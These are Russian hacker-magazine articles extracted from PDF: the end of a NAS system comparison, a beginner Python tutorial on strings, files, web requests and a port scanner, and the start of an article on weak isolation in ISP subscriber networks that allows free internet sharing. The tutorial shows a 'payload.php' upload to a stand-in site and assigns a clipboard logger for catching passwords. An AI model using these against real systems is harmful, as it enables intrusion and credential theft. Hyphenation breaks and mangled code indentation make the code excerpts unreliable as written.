От сле дить, какой имен но файл и каким имен но обра зом был изме нен, уда- 
лось, а вот опре делить кон крет ный пакет — не выш ло. Что при водит нас
к сле дующе му раз делу: ста биль нос ти работы и слож ности под дер жки устрой- 
ства в рабочем сос тоянии.

ÑÒÀÁÈËÜÍÎÑÒÜ ÐÀÁÎÒÛ

В иде аль ном мире еди нож ды нас тро енная сис тема будет работать, не тре буя
вме шатель ств. Обновле ния будут уста нав ливать ся авто мати чес ки и никог да
не будут при водить к проб лемам. К сожале нию, реаль ность весь ма далека
от иде ала: обновле ния пери оди чес ки что-нибудь лома ют, да и без них
устрой ство может со вре менем пот ребовать как минимум про филак тичес кого
вме шатель ства.

В этом кон тек сте наиме нее проб лемным показал себя TrueNAS Core. Сис- 
тема дав но отла жена, обновле ния (за воз можным исклю чени ем круп ных, 11–
12) не при водят к проб лемам. Раз запущен ный, компь ютер на TrueNAS может
работать дол гое вре мя, не тре буя вме шатель ства.

TrueNAS Scale — ран няя бета-вер сия на новой для раз работ чиков плат- 
форме. Соот ветс твен но, ста биль ной работы ник то не обе щает (впро чем,
замет ных проб лем поль зовате ли сис темы не отме чают).

Для под держа ния работос пособ ности NAS с openmediavault может пот- 
ребовать ся пери оди чес кое вме шатель ство ква лифи циро ван ного адми нис- 
тра тора. Здесь и упо мяну тые выше проб лемы пос ле обновле ния некото рых
пакетов, и такие прос тые вещи, как нас трой ки ротации логов по умол чанию,
которые могут при водить к перепол нению раз дела и невоз можнос ти дос тупа
к NAS ина че, чем через SSH… Впро чем, пос леднее акту аль но, если запус кать
OMV с неболь шого по объ ему накопи теля, а пер вое… с этим при дет ся жить.

Вы вод: если нуж на ста биль ная работа без вме шатель ства адми нис тра- 
тора — смот ри в сто рону TrueNAS Core.

ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ

Пря мым срав нени ем про изво дитель нос ти сис тем я не занимал ся, одна ко
могу отме тить, что TrueNAS — замет но более «тяжелая» сис тема по срав- 
нению с openmediavault. OMV заг ружа ется мол ниенос но даже на очень сла- 
бом железе (вре мя заг рузки на WD MyCloud Home — поряд ка 16 секунд пос- 
ле рас крут ки жес тко го дис ка), в то вре мя как TrueNAS заг ружа ется замет но
доль ше даже на мощ ном железе.

При исполь зовании TrueNAS на ско рость чте ния-записи может пов лиять
мно жес тво вещей. К при меру, вклю чение дедуп ликации в режиме реаль ного
вре мени рез ко сни жает ско рость записи дан ных, а вклю чение сжа тия на лету
на сов ремен ных фор матах дан ных ско рее вре дит, чем при носит поль зу.
Помочь здесь в сос тоянии рас ширение объ ема опе ратив ной памяти
до 16 Гбайт и боль ше.

OMV — пре дель но нет ребова тель ная сис тема, работа ющая на том
железе, которое в сос тоянии запус тить Debian.

ÂÈÐÒÓÀËÈÇÀÖÈß È ÐÀÑØÈÐÅÍÈß

Все три сис темы под держи вают рас ширения в виде спе циаль но написан ных
для соот ветс тву ющей сис темы пла гинов. В openmediavault под держи вают ся
допол нитель ные репози тории (нап ример, omv-extras).

Пла гины в openmediavault

В TrueNAS так же при сутс тву ют пла гины — как офи циаль ные, так и от сооб- 
щес тва раз работ чиков.

В каж дой сис теме есть под дер жка «лег кой» вир туали зации. В TrueNAS Core
это сис тема , а TrueNAS Scale и OMV под держи вают Docker. Пос ледний,
пожалуй, более инте ресен с точ ки зре ния раз нооб разия дос тупных обра зов.

jails

Кро ме того, в TrueNAS при сутс тву ет пол ноцен ная вир туали зация в виде
вир туаль ных машин, куда мож но уста новить, нап ример… Windows.

ÏÎÄÂÎÄß ÈÒÎÃÈ

В ито ге инте рес пред став ляют все три сис темы. В то же вре мя выбор меж ду
ними может быть дос таточ но прост, осно выва ясь в пер вую оче редь на тво их
зап росах и име ющем ся аппа рат ном обес печении.

Хо чешь соб рать NAS на одноплат ном компь юте ре Raspberry Pi или подоб- 
ном? Openmediavault. Уста новить на WD MyCloud Home? Ана логич но. Запус- 
тить на сла бом компь юте ре с огра ничен ным объ емом памяти? Тоже OMV.
Собира ешь NAS с единс твен ным дис ком или исполь зуешь внеш ние дис ки
через USB? Пожалуй, сно ва OMV.

Со бира ешь ся прев ратить в NAS ста рый компь ютер с 8 Гбайт или боль шим
объ емом памяти? TrueNAS будет зна читель но инте рес нее: TrueNAS Core,
если в при ори тете ста биль ность работы, и TrueNAS Scale, если хочет ся
экспе римен тов или нуж на под дер жка Docker.

Нуж ны шиф рование, снап шоты, реп ликация? TrueNAS, без вари антов.
А что, если все, что тебе нуж но, — это хра нили ще для меди ате ки или виде- 

оте ки с ред ким попол нени ем, но час тым дос тупом? Если в при ори тете —
надеж ность хра нения дан ных и тишина, а не ско рость? Воз можно, тебе
подой дет Unraid или SnapRAID, о которых мы погово рим в сле дующий раз.

Ес ли тебе нуж но управле ние через обла ко, то — TrueNAS с TrueCommand.

https://xakep.ru/2021/06/30/my-book-live-attacks/
https://xakep.ru/tag/qnap/
https://www.technikaffe.de/forum/index.php?thread/2457-omv-4-ugrade-auf-omv5-oder-omv6/
https://www.truenas.com/community/threads/a-quick-intro-to-jails.39220/
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КОДИНГ

Од нажды кро коди лу Гене и Чебураш ке поручи ли написать
сочине ние на тему «Как я про вел лето». Проб лема была
в том, что все лето друзья пили пиво. Гена, не уме ющий
врать, так и написал, поэто му Чебураш ке приш лось
заменить некото рые сло ва. А пос коль ку Чебураш ка был
кодером на питоне, то сде лал он это при помощи стро ковой
фун кции. В этой статье я покажу, как не отста вать
от Чебураш ки и научить ся работать со стро ками, фай лами
и делать зап росы к веб-сай там на Python.

От редакции
Не дав но мы про вели опрос сре ди читате лей и выяс нили, что мно гие
хотели бы изу чить Python, при чем начать с самого начала. В качес тве экспе- 
римен та мы опуб ликова ли статью 

, где рас ска зали об азах Python: перемен ных,
усло виях, цик лах и спис ках. Откли ки были позитив ными, и мы решили про дол- 
жить зна комить читате лей с Python в нашем фир менном нес кучном сти ле.

«

»

Python ñ àáñî ëþò íîãî íóëÿ. Ó÷èì ñÿ

êîäèòü áåç ñêó÷ íûõ êíè æåê

Эта статья, как и пре дыду щая, дос тупна без плат ной под писки, так что
сме ло делись эти ми ссыл ками с друзь ями, которые меч тают выучить Python!

Нач нем со строк. Что бы решить встав шую перед друзь ями проб лему,
Чебураш ка исполь зовал фун кцию , которая заменя ет в стро ке одну
подс тро ку дру гой.

replace()

Сна чала он объ явил перемен ную  и помес тил туда стро ку, которую прис- 
лал ему Гена.

s

  s = 'Все лето мы пили пиво. Вот как-то открываю дверь, а на пороге 
Чебурашка, весь такой пьяный-пьяный, и бутылка из кармана торчит.'

Даль ше Чебураш ка опре делил сло варь из слов, которые тре бова лось
заменить.

     slova = {'пили':'читали', 'пиво':'книги', 'пьяный':'начитанный',
'бутылка':'энциклопедия'}

И теперь при помощи цик ла  Чебураш ка переб рал сло варь, что бы
заменить каж дое из слов ( ) на соот ветс тву ющее зна чение из сло варя
( ):

for
key

slova[key]

   for key in slova:
      s = s.replace(key, slova[key])
print(s)

INFO

Сло вари во мно гом похожи на спис ки, но зна- 
чения в них записа ны парами: ключ и зна чение.
По клю чу мож но узнать зна чение. Мож но счи тать,
что в спис ках клю чи — это индексы (0, 1, 2...), а в
сло варях — стро ки.

Фун кцию  удоб но исполь зовать, что бы начис то уда лить какие-то
сло ва из стро ки. Для это го будем заменять их пус той стро кой (если открыть
и зак рыть кавыч ку, то получит ся пус тая стро ка):

replace()

  s = '''Я не люблю пить пиво.
Оно невкусное и неполезное!'''
  s = s.replace('не','')

print(s)

INFO

Что бы записать в перемен ную нес коль ко строк,
мож но обер нуть их в три оди нар ные кавыч ки
и делать перено сы пря мо в коде.

Что бы получить количес тво сим волов в стро ке, исполь зует ся фун кция len().

  s = 'Если очень вам неймется, код пишите как придется!'
  n = len(s)

print(n)

И, как я уже рас ска зывал в прош лой статье, от строк мож но брать сре зы
как от мас сивов, если ука зать начало и конец подс тро ки в квад ратных скоб ках
пос ле перемен ной. Позиция начина ется с нуля.

  s = 'Меня зовут Бонд, Джеймс Бонд'
  a = s[11:15]

  print('Фамилия: ' + a)

Ес ли нуж но сде лать срез с начала стро ки, пер вую циф ру мож но не писать.
Пред положим, тебе нуж но най ти в спис ке стро ки, которые начина ются

на https. Переби раем их с помощью , для каж дой про веря ем, сов пада ют
ли пер вые пять зна ков со стро кой , и если да, то выводим стро ку:

for
https

      
 

mas = [ 'Это просто строка', 'https://xakep.ru', 'Еще одна строка',
'https://habr.ru' ]

   for x in mas:
      if x[:5] == 'https':
       print(x)

Что бы пос читать количес тво вхож дений подс тро ки в стро ку, мож но исполь- 
зовать метод :.count()

  s = 'Прикинь, короче, я такой, короче, ему бах эксплоитом по порту, 
а он, короче, упал сразу!'
  n = s.count('короче')

print(n)

Иног да в начале или в кон це стро ки могут быть лиш ние про белы или перено- 
сы строк. Давай уда лим их спе циаль ной коман дой :.strip()

  s = ' Пива много не бывает!  \n'
  s = s.strip()

print(s)

INFO

Пе рено сы строк мож но добавить с помощью сим- 
волов  (исполь зует ся во всех ОС) либо  (в
Windows). Есть и дру гие спец симво лы. Нап ример,

 — знак табуля ции.

\n \r\n

\t

Что бы опре делить наличие подс тро ки в стро ке s, мож но исполь зовать метод
:.find()

  n = s.find('строка, которую ищем')

Ес ли иско мая подс тро ка най дена, то в перемен ную  попадет ее позиция
в стро ке, а если не най дена,  ста нет рав ной .

n
n -1

Да вай поп робу ем опре делить, есть ли в стро ке адрес элек трон ной поч ты
с Xakep.ru, то есть будем искать подс тро ку .@xakep.ru

Но сна чала нам понадо бит ся еще один стро ковый метод — . Он
поз воля ет раз делить стро ку на час ти, ука зав в качес тве аргу мен та стро- 
ку-раз делитель. Нап ример,  раз делит текст на абза цы по сим- 
волу перено са стро ки. Если же оста вить скоб ки пус тыми, то будет исполь- 
зован раз делитель по умол чанию — про бел.

.split()

s.split('\n')

  s = 'Это обычная строка, а в ней адрес почты vasya@xakep.ru'
  words = s.split()

   for w in words:
     n = w.find('@xakep.ru')
      if n != -1:

             print('Найден e-mail: ' + str(w) + ' в позиции ' + str(n))

Ме тод  поз воля ет, наобо рот, скле ивать стро ки. Он при нима ет спи сок
и воз вра щает стро ку, где каж дый эле мент спис ка соеди нен с дру гим через
стро ку, у которой ты выз вал этот метод.

.join()

  s = 'вирус внедряется '
    list1 = ['раз, ', 'два, ', 'три...']

  print(s + s.join(list1))

ÔÎÐÌÀÒÈÐÓÅÌ ÑÒÐÎÊÈ

Мы не раз печата ли раз ные вещи, соеди няя стро ки прос тым сло жени ем.
Это не всег да удоб но, осо бен но учи тывая, что если попадут ся чис ла, то их
при дет ся перево дить в стро ки фун кци ей . Есть более кра сивый и удоб- 
ный спо соб под став лять зна чения перемен ных внутрь строк. Точ нее, два нем- 
ного раз ных спо соба.

str()

Ñïîñîá 1 — c ïîìîùüþ ìåòîäà .format()

Мы можем вста вить в стро ку пар ные фигур ные скоб ки, а затем выз вать стро- 
ковый метод  и передать ему нуж ные зна чения в поряд ке их под- 
ста нов ки в стро ку.

.format()

  name = 'Вася Пупкин'
  age = 20

  address = 'улица Пушкина, дом Колотушкина'
    info = 'Имя: {}. Возраст: {}. Адрес: {}'.format(name, age, address)

print(info)

Мож но передать информа цию спис ком через звез дочку:

    data = ['Вася Пупкин', 20, 'улица Пушкина, дом Колотушкина']
  info = 'Имя: {}. Возраст: {}. Адрес: {}'.format(*data)

print(info)

Ñïîñîá 2 — ÷åðåç f-ñòðîêè

Дру гой вари ант — написать бук ву  перед стро кой и затем в фигур ных скоб- 
ках ука зывать непос редс твен но перемен ные.

f

  name = 'Вася Пупкин'
  age = 20

  address = 'улица Пушкина, дом Колотушкина'
  info = f'Имя: {name.upper()}. Возраст: {age}. Адрес: {address}'

print(info)

Глав ное пре иму щес тво это го спо соба в том, что ты можешь вста вить зна- 
чение в стро ку нес коль ко раз. К тому же мож но менять зна чения пря мо
в фигур ных скоб ках: спер ва Python выпол нит все дей ствия в них, а затем под- 
ста вит получен ный резуль тат в стро ку. Так, метод  в при мере выше
дела ет все бук вы заг лавны ми.

.upper()

ÔÀÉËÛ

Пе речис ленных методов дос таточ но, что бы ты мог делать со стро ками что
угод но. Но отку да эти стро ки возь мут ся? Чаще все го они записа ны в фай лах,
поэто му сей час я рас ска жу, как в Python с ними управлять ся.

Что бы работать с фай лом, его нуж но открыть. Для это го слу жит фун кция
, а работа ет она вот так:open()

    f = open('имя файла с путем и расширением', 'режим работы с файлом',
encoding='Кодировка текста')

Ре жимов работы с фай лами нес коль ко, но тебя инте ресу ет в основном:
 — открыть файл для чте ния из него информа ции;• r
 — открыть файл для записи в него информа ции (соз дает новый файл);• w
 — открыть файл для дозапи си информа ции в конец фай ла (дописы вает

информа цию в конец сущес тву юще го фай ла);
• a

 — дозапись и чте ние.• a+

Что бы избе жать проб лем с путями в Windows, исполь зуй в них двой ной слеш
, а так же перед откры вающей кавыч кой пути фай ла ставь бук ву u, ука зыва- 

ющую на то, что стро ка в кодиров ке Unicode:
\\

    f = open(u'D:\\test.txt', 'r', encoding='UTF-8')

Чи тать стро ки из фай ла мож но методом :.read()

    f = open('test.txt', 'r', encoding='UTF-8')
  s = f.read()

print(s)

Как вари ант — мож но пос ледова тель но читать из фай ла отдель ные стро ки
с помощью цик ла :for

    f = open('test.txt', 'r', encoding='UTF-8')
   for x in f:

   print(x)

Пос ле того как работа с фай лом закон чена, нуж но зак рыть его.

f.close()

INFO

Для работы с бинар ными фай лами при откры тии
фай ла добавь к режиму бук ву :b

   f = open('myfile.bin', 'rb')
  d = f.read()

 print("d = ", d)

Под робнее о бинар ных дан ных мы погово рим
в одной из сле дующих ста тей.

Да вай теперь поп робу ем соз дать новый тек сто вый файл в одном катало ге
с нашим скрип том и записать в него зна чения каких-то перемен ных.

  s1 = 'Раз, два, три, четыре, пять\n'
  s2 = 'Я иду сервак ломать...\n'
    f = open('poems.txt', 'w', encoding='UTF-8')

f.write(s1)
f.write(s2)
f.close()

Об рати вни мание, что в кон це каж дой стро ки сто ит сим вол  — переход
на новую стро ку.

\n

До пус тим, ты хочешь дописать третью строч ку в конец это го фай ла. Тут-то
и при годит ся режим дозапи си!

  s3 = 'Ох, устанут поднимать!\n'
    f = open('poems.txt', 'a', encoding='UTF-8')

f.write(s3)
f.close()

Для откры тия фай лов так же очень удоб но исполь зовать конс трук цию 

, потому что бла года ря сло ву with файл зак роет ся авто мати чес ки и тебе
не при дет ся думать об этом.

with 
open('имя файла с путем и расширением', 'режим работы с файлом') 
as f

  s = 'Если вы закроете этот файл, ваш диск будет отформатирован!\n
Шутка\n'

     with open('test.txt', 'w', encoding='UTF-8') as f:
   f.write(s)

ÐÀÁÎÒÀ Ñ ÂÅÁÎÌ

Да вай научим ся получать информа цию с веб-стра ниц. Для начала нуж но уста- 
новить нес коль ко модулей. Пишем в коман дной стро ке:

  pip install requests
  pip install html2text

Мо дуль requests поз воля ет делать GET- и POST-зап росы к веб-стра ницам.
Модуль html2text слу жит для пре обра зова ния HTML-кода веб-стра ниц в обыч- 
ный текст, то есть чис тит его от тегов HTML.

Им порти руем наши новые модули в начале прог раммы и поп робу ем
получить какую-нибудь стра ницу из интерне та.

 import requests
# Делаем GET-запрос
  s = requests.get('http://xakep.ru')

# Печатаем код ответа сервера
print(s.status_code)
# Печатаем HTML-код
print(s.text)

Прог рамма напеча тает мно го HTML-кода, из которо го сос тоит глав ная стра- 
ница жур нала. Но что, если тебе нужен толь ко текст сай та, а не мешани на
из тегов? Здесь поможет html2text. Он выделит из кода текст, заголов ки
и кар тинки и отдаст их уже без HTML-тегов.

 import requests
 import html2text

# Делаем GET-запрос
  s = requests.get('http://xakep.ru')

# Код ответа сервера
print(s.status_code)
# Создается экземпляр парсера
  d = html2text.HTML2Text()

# Параметр, влияющий на то, как парсятся ссылки
  d.ignore_links = True

# Текст без HTML-тегов
c=d.handle(s.text)
print(c)

Кро ме GET-зап росов, сущес тву ют так называ емые POST-зап росы, которые
при меня ются для отсылки на сер вер боль ших тек стов или каких-то фай лов.
Если видишь на сай те фор му, осо бен но с заг рузкой фай ла, зна чит, ско рее
все го, при нажатии на кноп ку «Отпра вить» будет сде лан POST-зап рос.

Биб лиоте ка requests тоже поз воля ет делать POST-зап росы. Тебе
это может при годить ся для ими тации дей ствий поль зовате ля — нап ример,
если нуж но авто мати зиро вать работу с сай том. Можешь даже исполь зовать
это в качес тве самопис ного ана лога Burp!

Да вай пос мотрим, как пос лать обыч ный POST-зап рос. Пред положим,
на сай те  сущес тву ет скрипт , который POST-зап росом
при нима ет от фор мы имя поль зовате ля  и сооб щение , а затем
пос тит их в гос тевую кни гу.

site.ru guest.php
name message

 import requests
# Переменные, которые нужно отправить POST-запросом

  user = 'coolhacker'
  message = 'You have beeh pwned!!!'

# Делаем POST-запрос и передаем словарь из полей
     

 
r = requests.post("http://site.ru/guest.php", data={'user': user,
'message': message})
print(r.status_code)

Те перь давай отпра вим зап рос с фай лом  во вло жении и теми
же дву мя полями фор мы, что и в пре дыду щем зап росе. Файл при дет на сер- 
вер под име нем .

payload.php

misc.php

 import requests

  user = 'kitty2007'
  message = '(* ^ ω ^)'

# Открываем файл в бинарном режиме
    with open('payload.php', 'rb') as f:

   # POST-запрос с отправкой файла
       

    
r = requests.post('http://site.ru/upload.php', files={'misc.php':

f}, data={'user': user, 'message': message})

Ос талось научить ся ска чивать фай лы. Это во мно гом похоже на зап рос стра- 
ниц, но делать это луч ше в потоко вом режиме ( ). Так же нам
понадо бит ся модуль shutil, в котором есть удоб ная фун кция .
Она поз воля ет копиро вать содер жимое дво ичных фай лов — в нашем слу чае
из интерне та к нам на диск.

stream=True
copyfileobj

 import requests
 import shutil
 import os

# Файл, который надо скачать
  s = 'https://xakep.ru/robots.txt'

# С помощью функции os.path.split(s) вытаскиваем из строки путь к 
файлу и его имя

   dirname, filename = os.path.split(s)

# GET-запрос в режиме stream=True для скачивания файла

   r = requests.get(s, stream=True)

# Если ответ сервера удачен (200)
   if r.status_code == 200:

   # Создаем файл и открываем его в бинарном режиме для записи
       with open(filename, 'wb') as f:
   # Декодируем поток данных на основе заголовка content-encoding

         r.raw.decode_content = True
       # Копируем поток данных из интернета в файл с помощью модуля 
shutil

        shutil.copyfileobj(r.raw, f)

INFO

Ко ды отве та сер вера помога ют понять, как про- 
шел зап рос. Код 200 озна чает, что сер вер
успешно обра ботал зап рос и отдал нам ответ,
код 404 — стра ница не была най дена, 500 — внут- 
ренняя ошиб ка сер вера, 503 — сер вер недос- 
тупен и так далее.  ты най- 
дешь в Википе дии.

Пол ный спи сок кодов

ÎÁÐÀÁÎÒÊÀ ÎØÈÁÎÊ

Преж де чем раз бирать более реаль ный при мер, я дол жен показать тебе
еще одну язы ковую конс трук цию, которая незаме нима при работе с фай лами
и сетью. Это обра бот ка исклю читель ных ситу аций, то есть оши бок.

Час то при работе прог раммы компь ютер стал кива ется с раз ными проб- 
лемами. Нап ример, файл не най ден, сеть недос тупна, кон чилось мес то
на дис ке. Если прог раммист об этом не позабо тил ся, то интер пре татор
Python прос то завер шит работу с ошиб кой. Но есть спо соб пре дус мотреть
неуря дицы пря мо в коде и про дол жать работу — конс трук ция .try... except

Выг лядит она вот так:

try:
   # Тут какие-то команды,
   # которые могут привести к ошибке
except:
   # Наши действия, если ошибка произошла

Мож но ловить кон крет ные типы оши бок, если пос ле сло ва  ука зать
наз вание типа. К при меру,  сра баты вает, если поль- 
зователь пыта ется завер шить прог рамму, нажав Ctrl-C. В нашей влас ти зап- 
ретить это делать!

except
KeyboardInterrupt

Да что там, мы можем даже раз решить делить на ноль, если отло вим
ошиб ку . Вот как это будет выг лядеть:ZeroDivisionError

try:
       k = 1 / 0

 except ZeroDivisionError:
     k = 'over 9000'
print(k)

WWW

Пол ный спи сок видов исклю чений

ÏÈØÅÌ ÑÊÀÍÅÐ ÏÎÐÒÎÂ

А теперь мы напишем собс твен ный ска нер пор тов! Он будет прос тень ким,
но впол не рабочим. Поможет нам в этом модуль socket, где реали зова на
работа с сокета ми.

INFO

Cокет — это интерфейс обме на дан ными меж ду
про цес сами. Сущес тву ют кли ент ские и сер- 
верные сокеты. Сер верный сокет слу шает опре- 
делен ный порт в ожи дании под клю чения кли- 
ентов, а кли ент ский под клю чает ся к сер веру.
Пос ле того как было уста нов лено соеди нение,
начина ется обмен дан ными.

Вот как будет выг лядеть код.

 import socket

# Список портов для сканирования
                
             
           
   

ports = [20, 21, 22, 23, 25, 42, 43, 53, 67, 69, 80, 110, 115, 123,
137, 138, 139, 143, 161, 179, 443, 445, 514, 515, 993, 995, 1080,
1194, 1433, 1702, 1723, 3128, 3268, 3306, 3389, 5432, 5060, 5900,
5938, 8080, 10000, 20000]

  host = input('Введи имя сайта без http/https или IP-адрес: ')
 print ("Ожидай, идет сканирование портов!")

# В цикле перебираем порты из списка
   for port in ports:

   # Создаем сокет
     s = socket.socket()
   # Ставим тайм-аут в одну cекунду
   s.settimeout(1)
   # Ловим ошибки
   try:
   # Пробуем соединиться, хост и порт передаем как список

        s.connect((host, port))
   # Если соединение вызвало ошибку
    except socket.error:
   # тогда ничего не делаем
       pass
   else:
       print(f"{host}: {port} порт активен")
   # Закрываем соединение
       s.close

 print ("Сканирование завершено!")

Как видишь, ничего слож ного!

ÄÎÌÀØÍÅÅ ÇÀÄÀÍÈÅ

1. Сде лай, что бы ска нер пор тов получал спи сок IP из одно го фай ла,
а резуль таты ска ниро вания записы вал в дру гой.

2. В  ты научил ся работать с буфером обме на. Напиши прог- 
рамму, которая пос тоян но запуще на и пери оди чес ки получа ет содер-
жимое буфера обме на. Если оно изме нилось, то дописы вает его в конец
фай ла  Поп робуй записы вать в лог толь ко те перех- 
вачен ные стро ки, в которых есть латин ские бук вы и циф ры, так более
веро ятно пой мать пароли.

прош лой статье

monitoring.txt.

3. На пиши прог рамму, которая чита ет файл такого вида:

 Иван Иванов|ivanov@mail.ru|Password123
 Дима Лапушок|superman1993@xakep.ru|1993superman
 Вася Пупкин|pupok@yandex.ru|qwerty12345
 Фродо Бэггинс|Frodo@mail.ru|MoRdOr100500
 Кевин Митник|kevin@xakep.ru|dontcrackitplease
 Юзер Юзерович|uswer@yandex.ru|aaaa321

Прог рамма дол жна сор тировать стро ки по доменам из email, для каж дого
домена соз давать файл и в каж дый файл помещать спи сок поч товых адре- 
сов.

4. На пиши прог рамму, которая про ходит сай ты по спис ку, ска чива ет фай лы
robots.txt и sitemap.xml и сох раня ет на диск. В слу чае если файл не най ден,
выводит ся сооб щение об этом.

На сегод ня всё. Из сле дующей статьи ты узна ешь, как работать с фай ловой
сис темой ОС, раз берешь ся с фун кци ями, поз наешь силу регуляр ных выраже- 
ний и напишешь прос той ска нер SQL-уяз вимос тей. Не про пус ти!

mailto:solblackbox@mail.ru
https://xakep.ru/2021/06/21/python-for-newbies/
https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BA%D0%BE%D0%B4%D0%BE%D0%B2_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F_HTTP
https://docs.python.org/3/library/exceptions.html
https://xakep.ru/2021/06/21/python-for-newbies/
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АДМИН

Ка залось бы, тема «халяв ного ине та» — что-то из далеко го
прош лого. Одна ко осо бен ности устрой ства домаш них сетей
поз воля ют и сегод ня некото рым безот ветс твен ным людям
не пла тить за под клю чение. В этой статье мы раз берем,
как устро ена або нент ская сеть про вай дера и какие уяз- 
вимос ти поз воля ют проц ветать не толь ко халяв щикам, но и
вре дите лям посерь езнее.

WARNING

Вся информа ция пре дос тавле на исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не несут ответс твен ности за любой воз можный
вред, при чинен ный с при мене нием матери алов
из этой статьи. Ее цель — про информи ровать
пос тавщи ков услуг и дать рекомен дации
по устра нению уяз вимос тей.

На тер ритории Рос сии и быв шего СССР самый рас простра нен ный спо соб
под клю чать або нен тов к про вай деру — это витая пара. Если ты не занес нем- 
ного денег за внеш ний IP, пос ле под клю чения про вай дер выдаст тво ему
устрой ству «серый» IP-адрес по DHCP из сети клас са А ( ), а так- 
же про пишет в нас трой ках под клю чения свои DNS-сер веры. Это поз воля ет
вза имо дей ство вать с ресур сами про вай дера (DNS/VPN-сер вер, лич ный
кабинет), а так же с дру гими або нен тами локаль ной сети про вай дера
с исполь зовани ем таких адре сов.

10.*.*.*/24

Что бы появил ся интернет, необ ходимо нас тро ить под клю чение к VPN
по L2TP, исполь зуя выдан ные про вай дером учет ные дан ные. Ког да балан са
на тво ем сче те недос таточ но для спи сания або нент ской пла ты, под клю чение
L2TP работа ет толь ко в режиме перенап равле ния всех HTTP-зап росов
на лич ный кабинет, осталь ные зап росы бло киру ются и ты оста ешь ся
без интерне та, но все рав но будешь под клю чен к локаль ной сети до тех пор,
пока тебя физичес ки не отклю чат.

На прак тике этот про цесс может затянуть ся, потому что вес кая при чина
физичес кого отклю чения, по сути, толь ко одна: это ког да необ ходимо под- 
клю чить нового або нен та, но заняты все пор ты на конеч ном обо рудо вании
про вай дера (которое обыч но сто ит где-нибудь на чер даке сре ди гор керам- 
зита и голуби ных какашек). Тог да мон тажни ки про вай дера могут про вес ти
ревизию и отклю чить того, кто не поль зует ся их услу гами и не пла тит звон кой
монетой. Но если такой нуж ды нет, то впол не логич но дер жать або нен тов
под клю чен ными — вдруг еще вер нутся?

ÀÊÒÈÂÍÛÅ È ÏÀÑÑÈÂÍÛÅ ÀÁÎÍÅÍÒÛ

Сме калис тый читатель уже догадал ся, какие твор ческие воз можнос ти откры- 
вают ся, ког да есть под клю чение к локаль ной сети и отсутс тву ют огра ниче ния
на сетевое вза имо дей ствие меж ду або нен тами. Мож но, нап ример, «рас- 
шарить» интернет от дру гого або нен та и не пла тить за дос туп.

Что необ ходимо жела юще му про вер нуть подоб ный фокус?
Ак тивный або нент, который доб росовес тно пла тит за интернет и будет

выс тупать в роли раз дающе го. Нап ример, если у халяв щика и его родс твен- 
ника, дру га, зна комо го или кол леги один и тот же про вай дер — это иде аль ный
вари ант, в про тив ном слу чае жер твой может стать слу чай ный человек. При- 
чем або нен ты физичес ки могут находить ся в раз ных час тях города.

Из обо рудо вания необ ходим роутер/сер вер, который будет выс тупать
в роли L2TP-кли ента для про вай дера и в роли VPN или прок си-сер вера
для пас сивно го або нен та. Подой дет любой дос таточ но мощ ный роутер,
на который мож но уста новить OpenWRT.

Пас сивный або нент — который не пла тит, но под клю чен к локаль ной сети
про вай дера. У пас сивно го або нен та может быть и обыч ный самый дешевый
домаш ний роутер, если он под держи вает нуж ные для под клю чения тех- 
нологии (L2TP, IPSec, OpenVPN).

Схе мати чес ки подоб ное под клю чение выг лядит вот так.

Схе ма под клю чения через активно го або нен та

Да вай вни матель но пос мотрим на эту схе му. Глав ная уяз вимость, на мой
взгляд, — это отсутс твие огра ниче ний на межабо нент ское вза имо дей ствие.
И речь не об одном широко веща тель ном домене: за вре мя моего иссле дова- 
ния было обна руже но более 160 под сетей (под робнее в раз деле про бот нет)
с раз личной IP-адре саци ей, и никаких огра ниче ний меж ду ними выяв лено
не было. Как говорит ся, «any to any — allow». Если ты зна ешь, для чего так
сде лано, поделись в ком мента риях ;)

Еще одна проб лема для про вай дера — это неуп равля емые ком мутато ры,
игра ющие роль конеч ного обо рудо вания. Отсутс твие воз можнос ти отклю чать
пор ты авто мати чес ки, прог рам мно и уда лен но, ведет к тому, что под клю чить- 
ся к або нент ской локаль ной сети может кто угод но, если этот нек то име ет
дос туп к сетево му обо рудо ванию. Которое, как пра вило, сла бо защище но
физичес ки или вов се сто ит в лес тнич ных шка фах, запер тых на кусок про воло- 
ки.

×ÒÎ ÄÅËÀÒÜ ÏÐÎÂÀÉÄÅÐÓ

Про вай дер может зап ретить или огра ничить сетевое вза имо дей ствие меж ду
або нен тами из раз личных под сетей. Тог да уяз вимость оста нет ся толь ко
у або нен тов одно го широко веща тель ного домена, но об этом погово рим
даль ше.

DHCP-сер вер про вай дера в локаль ной сети дол жен каж дый раз наз начать
ран домный IP-адрес або нен там при пре выше нии корот кого lease time. Тем
самым пас сивный або нент будет вынуж ден менять в сво их нас трой ках IP-
адрес под клю чения сер вера при каж дом завер шении lease time у активно го
або нен та либо исполь зовать домен ное имя.

Сле дует раз делить DNS-сер веры про вай дера по спо собу обра бот ки внут- 
ренних и внеш них зап росов. Зап ретить сто рон ние DNS и резол вить толь ко
внут ренние домены по белому спис ку (VPN-сер вер и лич ный кабинет).
Это сни зит веро ятность того, что к активно му або нен ту мож но будет под клю- 
чить ся по домен ному име ни. А уже внут ри L2TP-соеди нения наз начать DNS-
сер вер, который резол вит внеш ние зап росы.

Та кой спо соб заод но защища ет от атак типа DNS Tunneling. Впро чем,
из-за низ кой про пус кной спо соб ности мы ее здесь даже не рас смат рива- 
ем — поль зовать ся таким тун нелем в качес тве основно го канала вряд ли
кто-то захочет.

ÁÎÒÍÅÒ

Во вре мя иссле дова ния у меня появи лась идея про ана лизи ровать, что будет
про исхо дить с сетевым устрой ством, которое под клю чено к локаль ной сети
про вай дера, но не под клю чено к интерне ту. Нап ример, кто его ска ниру ет и по
каким пор там.

Для это го я под клю чил патч-корд про вай дера в отдель ный свитч, а к нему
под соеди нил домаш ний роутер и Orange Pi. На Orange Pi я раз вернул PSAD.
Этот инс тру мент появил ся в 1999 году, может посиг натур но выяв лять ата ки
и выс тупать даже в роли IPS.

INFO

Опи сание всех воз можнос тей PSAD ты най дешь
в кни ге «Linux Firewalls: Attack Detection
and Response with iptables, psad, and fwsnort»
либо на  прог раммы.сай те авто ра

В нашем упро щен ном слу чае он будет толь ко ана лизи ровать логи iptables
и стро ить ста тис тику: кто, ког да и по каким пор там пытал ся к нам под клю чить- 
ся. Все, что нуж но сде лать для работы это го инс тру мен та, — вклю чить
